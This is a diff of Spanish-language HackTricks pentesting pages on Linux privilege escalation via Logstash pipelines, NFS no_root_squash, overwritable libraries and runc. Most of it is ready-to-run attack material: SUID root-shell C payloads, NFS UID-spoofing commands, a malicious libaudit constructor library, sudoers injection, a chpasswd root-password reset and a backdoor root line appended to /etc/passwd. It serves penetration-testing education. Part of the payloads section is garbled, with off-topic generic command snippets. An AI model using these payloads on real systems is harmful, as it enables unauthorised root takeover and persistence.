<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
1720
linux-hardening/privilege-escalation/linux-capabilities.md
Normal file
1720
linux-hardening/privilege-escalation/linux-capabilities.md
Normal file
File diff suppressed because it is too large
Load diff
76
linux-hardening/privilege-escalation/logstash.md
Normal file
76
linux-hardening/privilege-escalation/logstash.md
Normal file
|
@ -0,0 +1,76 @@
|
|||
# Información Básica
|
||||
|
||||
Logstash se utiliza para recopilar, transformar y emitir registros. Esto se logra mediante el uso de **pipelines**, que contienen módulos de entrada, filtro y salida. El servicio se vuelve interesante cuando se ha comprometido una máquina que está ejecutando Logstash como servicio.
|
||||
|
||||
## Pipelines
|
||||
|
||||
El archivo de configuración de la canalización **/etc/logstash/pipelines.yml** especifica las ubicaciones de las canalizaciones activas:
|
||||
```bash
|
||||
# This file is where you define your pipelines. You can define multiple.
|
||||
# For more information on multiple pipelines, see the documentation:
|
||||
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
|
||||
|
||||
- pipeline.id: main
|
||||
path.config: "/etc/logstash/conf.d/*.conf"
|
||||
- pipeline.id: example
|
||||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
Aquí puedes encontrar las rutas a los archivos **.conf**, que contienen las tuberías configuradas. Si se utiliza el módulo de salida de **Elasticsearch**, es probable que las tuberías contengan credenciales válidas para una instancia de Elasticsearch. Esas credenciales suelen tener más privilegios, ya que Logstash tiene que escribir datos en Elasticsearch. Si se utilizan comodines, Logstash intenta ejecutar todas las tuberías ubicadas en esa carpeta que coincidan con el comodín.
|
||||
|
||||
## Privesc con tuberías escribibles
|
||||
|
||||
Antes de intentar elevar tus propios privilegios, debes comprobar qué usuario está ejecutando el servicio de logstash, ya que este será el usuario que poseerás después. Por defecto, el servicio de logstash se ejecuta con los privilegios del usuario **logstash**.
|
||||
|
||||
Comprueba si tienes **uno** de los permisos necesarios:
|
||||
|
||||
* Tienes permisos de escritura en un archivo **.conf** de una tubería **o**
|
||||
* **/etc/logstash/pipelines.yml** contiene un comodín y se te permite escribir en la carpeta especificada
|
||||
|
||||
Además, se debe cumplir **uno** de los siguientes requisitos:
|
||||
|
||||
* Puedes reiniciar el servicio de logstash **o**
|
||||
* **/etc/logstash/logstash.yml** contiene la entrada **config.reload.automatic: true**
|
||||
|
||||
Si se especifica un comodín, intenta crear un archivo que coincida con ese comodín. El siguiente contenido se puede escribir en el archivo para ejecutar comandos:
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
command => "whoami"
|
||||
interval => 120
|
||||
}
|
||||
}
|
||||
|
||||
output {
|
||||
file {
|
||||
path => "/tmp/output.log"
|
||||
codec => rubydebug
|
||||
}
|
||||
}
|
||||
```
|
||||
El parámetro **interval** especifica el tiempo en segundos. En este ejemplo, el comando **whoami** se ejecuta cada 120 segundos. La salida del comando se guarda en **/tmp/output.log**.
|
||||
|
||||
Si **/etc/logstash/logstash.yml** contiene la entrada **config.reload.automatic: true**, solo tienes que esperar a que se ejecute el comando, ya que Logstash reconocerá automáticamente los nuevos archivos de configuración de canalización o cualquier cambio en las configuraciones de canalización existentes. De lo contrario, debes reiniciar el servicio de Logstash.
|
||||
|
||||
Si no se utiliza un comodín, puedes aplicar esos cambios a una configuración de canalización existente. ¡Asegúrate de no romper nada!
|
||||
|
||||
# Referencias
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,142 @@
|
|||
Lea el archivo _**/etc/exports**_, si encuentra algún directorio que esté configurado como **no\_root\_squash**, entonces puede **acceder** a él desde **un cliente** y **escribir dentro** de ese directorio **como si fuera** el **root** local de la máquina.
|
||||
|
||||
**no\_root\_squash**: Esta opción básicamente da autoridad al usuario root en el cliente para acceder a los archivos en el servidor NFS como root. Y esto puede llevar a graves implicaciones de seguridad.
|
||||
|
||||
**no\_all\_squash:** Esto es similar a la opción **no\_root\_squash** pero se aplica a **usuarios no root**. Imagina que tienes una shell como usuario nobody; revisa el archivo /etc/exports; la opción no\_all\_squash está presente; revisa el archivo /etc/passwd; emula un usuario no root; crea un archivo suid como ese usuario (montando usando nfs). Ejecuta el suid como usuario nobody y conviértete en un usuario diferente.
|
||||
|
||||
# Escalada de Privilegios
|
||||
|
||||
## Exploit Remoto
|
||||
|
||||
Si ha encontrado esta vulnerabilidad, puede explotarla:
|
||||
|
||||
* **Montando ese directorio** en una máquina cliente, y **copiando como root** dentro de la carpeta montada el binario **/bin/bash** y dándole derechos **SUID**, y **ejecutando desde la máquina víctima** ese binario bash.
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
|
||||
cd /tmp/pe
|
||||
cp /bin/bash .
|
||||
chmod +s bash
|
||||
|
||||
#Victim
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
* **Montando ese directorio** en una máquina cliente, y **como root copiando** dentro de la carpeta montada nuestro payload compilado que abusará del permiso SUID, dándole derechos SUID, y **ejecutando desde la máquina víctima** ese binario (puedes encontrar aquí algunos [payloads C SUID](payloads-to-execute.md#c)).
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
mkdir /tmp/pe
|
||||
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
|
||||
cd /tmp/pe
|
||||
cp /tmp/payload .
|
||||
chmod +s payload
|
||||
|
||||
#Victim
|
||||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## Explotación Local
|
||||
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que si puede crear un **túnel desde su máquina hasta la máquina víctima, aún puede usar la versión remota para explotar esta escalada de privilegios tunelizando los puertos requeridos**.\
|
||||
El siguiente truco es en caso de que el archivo `/etc/exports` **indique una dirección IP**. En este caso, no podrá usar en ningún caso el **exploit remoto** y necesitará **abusar de este truco**.\
|
||||
Otro requisito necesario para que funcione el exploit es que **la exportación dentro de `/etc/export` debe estar usando la bandera `insecure`**.\
|
||||
\--_No estoy seguro de que si `/etc/export` indica una dirección IP, este truco funcionará_--
|
||||
{% endhint %}
|
||||
|
||||
**Truco copiado de** [**https://www.errno.fr/nfs\_privesc.html**](https://www.errno.fr/nfs\_privesc.html)
|
||||
|
||||
Ahora, supongamos que el servidor de recursos aún ejecuta `no_root_squash`, pero hay algo que nos impide montar el recurso compartido en nuestra máquina de prueba de penetración. Esto sucedería si `/etc/exports` tiene una lista explícita de direcciones IP permitidas para montar el recurso compartido.
|
||||
|
||||
Al listar los recursos compartidos ahora, se muestra que solo la máquina en la que estamos intentando realizar la escalada de privilegios tiene permiso para montarlo:
|
||||
```
|
||||
[root@pentest]# showmount -e nfs-server
|
||||
Export list for nfs-server:
|
||||
/nfs_root machine
|
||||
```
|
||||
Esto significa que estamos atrapados explotando el recurso compartido montado en la máquina localmente desde un usuario sin privilegios. Pero resulta que hay otra vulnerabilidad local menos conocida.
|
||||
|
||||
Esta vulnerabilidad se basa en un problema en la especificación NFSv3 que establece que es responsabilidad del cliente anunciar su uid/gid al acceder al recurso compartido. ¡Por lo tanto, es posible falsificar el uid/gid mediante la falsificación de las llamadas NFS RPC si el recurso compartido ya está montado!
|
||||
|
||||
Aquí hay una [biblioteca que te permite hacer precisamente eso](https://github.com/sahlberg/libnfs).
|
||||
|
||||
### Compilando el ejemplo <a href="#compiling-the-example" id="compiling-the-example"></a>
|
||||
|
||||
Dependiendo de tu kernel, es posible que necesites adaptar el ejemplo. En mi caso, tuve que comentar las llamadas al sistema fallocate.
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
make
|
||||
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
|
||||
```
|
||||
### Explotando usando la librería <a href="#exploiting-using-the-library" id="exploiting-using-the-library"></a>
|
||||
|
||||
Utilicemos el exploit más simple:
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
Coloque nuestro exploit en el recurso compartido y hágalo suid root falsificando nuestro uid en las llamadas RPC:
|
||||
```
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
Todo lo que queda es lanzarlo:
|
||||
```
|
||||
[w3user@machine libnfs]$ /mnt/share/a.out
|
||||
[root@machine libnfs]#
|
||||
```
|
||||
¡Ahí estamos, escalada de privilegios de root local!
|
||||
|
||||
## Bonus NFShell <a href="#bonus-nfshell" id="bonus-nfshell"></a>
|
||||
|
||||
Una vez que obtuve el control de root local en la máquina, quise saquear el recurso compartido de NFS en busca de posibles secretos que me permitieran pivotear. Pero había muchos usuarios del recurso compartido, cada uno con su propio UID que no podía leer a pesar de ser root debido a la falta de coincidencia de UID. No quería dejar rastros obvios como un chown -R, así que escribí un pequeño fragmento de código para establecer mi UID antes de ejecutar el comando de shell deseado:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
import sys
|
||||
import os
|
||||
|
||||
def get_file_uid(filepath):
|
||||
try:
|
||||
uid = os.stat(filepath).st_uid
|
||||
except OSError as e:
|
||||
return get_file_uid(os.path.dirname(filepath))
|
||||
return uid
|
||||
|
||||
filepath = sys.argv[-1]
|
||||
uid = get_file_uid(filepath)
|
||||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
Entonces, puedes ejecutar la mayoría de los comandos como lo harías normalmente, prefijándolos con el script:
|
||||
```
|
||||
[root@machine .tmp]# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
[root@machine .tmp]# ls -la ./mount/9.3_old/
|
||||
ls: cannot open directory ./mount/9.3_old/: Permission denied
|
||||
[root@machine .tmp]# ./nfsh.py ls --color -l ./mount/9.3_old/
|
||||
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 bin
|
||||
drwxr-x--- 4 1008 1009 1024 Apr 5 2017 conf
|
||||
drwx------ 15 1008 1009 1024 Apr 5 2017 data
|
||||
drwxr-x--- 2 1008 1009 1024 Apr 5 2017 install
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
229
linux-hardening/privilege-escalation/payloads-to-execute.md
Normal file
229
linux-hardening/privilege-escalation/payloads-to-execute.md
Normal file
|
@ -0,0 +1,229 @@
|
|||
# Cargas útiles para ejecutar
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Bash
|
||||
```bash
|
||||
cp /bin/bash /tmp/b && chmod +s /tmp/b
|
||||
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
|
||||
```
|
||||
## C
|
||||
|
||||
### Payloads to Execute
|
||||
|
||||
Aquí hay una lista de payloads que se pueden usar para ejecutar comandos en diferentes lenguajes de programación.
|
||||
|
||||
#### Bash
|
||||
|
||||
```bash
|
||||
bash -c 'comando'
|
||||
```
|
||||
|
||||
#### Python
|
||||
|
||||
```python
|
||||
python -c 'import os; os.system("comando")'
|
||||
```
|
||||
|
||||
#### Perl
|
||||
|
||||
```perl
|
||||
perl -e 'system("comando")'
|
||||
```
|
||||
|
||||
#### Ruby
|
||||
|
||||
```ruby
|
||||
ruby -e 'system("comando")'
|
||||
```
|
||||
|
||||
#### Lua
|
||||
|
||||
```lua
|
||||
lua -e 'os.execute("comando")'
|
||||
```
|
||||
|
||||
#### Node.js
|
||||
|
||||
```javascript
|
||||
node -e 'require("child_process").exec("comando", function (error, stdout, stderr) { console.log(stdout) })'
|
||||
```
|
||||
|
||||
#### PHP
|
||||
|
||||
```php
|
||||
php -r 'system("comando");'
|
||||
```
|
||||
|
||||
#### Java
|
||||
|
||||
```java
|
||||
java.lang.Runtime.getRuntime().exec("comando")
|
||||
```
|
||||
|
||||
#### .NET
|
||||
|
||||
```powershell
|
||||
powershell -c "Invoke-Expression 'comando'"
|
||||
```
|
||||
|
||||
#### PowerShell
|
||||
|
||||
```powershell
|
||||
powershell -c 'comando'
|
||||
```
|
||||
|
||||
#### C
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
int main() {
|
||||
system("comando");
|
||||
}
|
||||
```
|
||||
|
||||
#### C++
|
||||
|
||||
```cpp
|
||||
#include <stdlib.h>
|
||||
int main() {
|
||||
system("comando");
|
||||
}
|
||||
```
|
||||
```c
|
||||
//gcc payload.c -o payload
|
||||
int main(void){
|
||||
setresuid(0, 0, 0); //Set as user suid user
|
||||
system("/bin/sh");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
//gcc payload.c -o payload
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
int main(){
|
||||
setuid(getuid());
|
||||
system("/bin/bash");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// Privesc to user id: 1000
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(void) {
|
||||
char *const paramList[10] = {"/bin/bash", "-p", NULL};
|
||||
const int id = 1000;
|
||||
setresuid(id, id, id);
|
||||
execve(paramList[0], paramList, NULL);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Sobrescribir un archivo para escalar privilegios
|
||||
|
||||
### Archivos comunes
|
||||
|
||||
* Agregar usuario con contraseña a _/etc/passwd_
|
||||
* Cambiar la contraseña dentro de _/etc/shadow_
|
||||
* Agregar usuario a sudoers en _/etc/sudoers_
|
||||
* Abusar de Docker a través del socket de Docker, generalmente en _/run/docker.sock_ o _/var/run/docker.sock_
|
||||
|
||||
### Sobrescribir una biblioteca
|
||||
|
||||
Verificar una biblioteca utilizada por algún binario, en este caso `/bin/su`:
|
||||
```bash
|
||||
ldd /bin/su
|
||||
linux-vdso.so.1 (0x00007ffef06e9000)
|
||||
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
|
||||
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
|
||||
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
|
||||
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
|
||||
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
|
||||
```
|
||||
En este caso intentaremos hacer una suplantación de identidad de `/lib/x86_64-linux-gnu/libaudit.so.1`.\
|
||||
Por lo tanto, verificamos las funciones de esta biblioteca utilizadas por el binario **`su`**:
|
||||
```bash
|
||||
objdump -T /bin/su | grep audit
|
||||
0000000000000000 DF *UND* 0000000000000000 audit_open
|
||||
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
|
||||
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
|
||||
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
|
||||
```
|
||||
Los símbolos `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` y `audit_fd` probablemente provienen de la biblioteca libaudit.so.1. Como la librería libaudit.so.1 será sobrescrita por la biblioteca compartida maliciosa, estos símbolos deberían estar presentes en la nueva biblioteca compartida, de lo contrario el programa no podrá encontrar el símbolo y saldrá.
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
#include<unistd.h>
|
||||
|
||||
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
|
||||
|
||||
int audit_open;
|
||||
int audit_log_acct_message;
|
||||
int audit_log_user_message;
|
||||
int audit_fd;
|
||||
|
||||
void inject()__attribute__((constructor));
|
||||
|
||||
void inject()
|
||||
{
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
Ahora, simplemente llamando **`/bin/su`** obtendrás una shell como root.
|
||||
|
||||
## Scripts
|
||||
|
||||
¿Puedes hacer que root ejecute algo?
|
||||
|
||||
### **www-data a sudoers**
|
||||
```bash
|
||||
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
|
||||
```
|
||||
### **Cambiar la contraseña de root**
|
||||
|
||||
Para cambiar la contraseña de root, podemos utilizar el siguiente comando:
|
||||
|
||||
```bash
|
||||
$ sudo passwd root
|
||||
```
|
||||
|
||||
Esto nos pedirá la nueva contraseña para root y luego nos pedirá que la confirmemos. Es importante tener en cuenta que cambiar la contraseña de root puede afectar a otros servicios que dependen de ella, por lo que se debe hacer con precaución.
|
||||
```bash
|
||||
echo "root:hacked" | chpasswd
|
||||
```
|
||||
### Agregar un nuevo usuario root a /etc/passwd
|
||||
```bash
|
||||
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,71 @@
|
|||
# Escalada de privilegios en RunC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
Si quieres aprender más sobre **runc**, consulta la siguiente página:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## PE
|
||||
|
||||
Si descubres que `runc` está instalado en el host, es posible que puedas **ejecutar un contenedor montando la carpeta raíz / del host**.
|
||||
```bash
|
||||
runc -help #Get help and see if runc is intalled
|
||||
runc spec #This will create the config.json file in your current folder
|
||||
|
||||
Inside the "mounts" section of the create config.json add the following lines:
|
||||
{
|
||||
"type": "bind",
|
||||
"source": "/",
|
||||
"destination": "/",
|
||||
"options": [
|
||||
"rbind",
|
||||
"rw",
|
||||
"rprivate"
|
||||
]
|
||||
},
|
||||
|
||||
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
||||
mkdir rootfs
|
||||
|
||||
# Finally, start the container
|
||||
# The root folder is the one from the host
|
||||
runc run demo
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Esto no siempre funcionará ya que la operación predeterminada de runc es ejecutarse como root, por lo que ejecutarlo como un usuario sin privilegios simplemente no puede funcionar (a menos que tenga una configuración sin root). Hacer que una configuración sin root sea la predeterminada no es generalmente una buena idea porque hay bastantes restricciones dentro de los contenedores sin root que no se aplican fuera de ellos.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
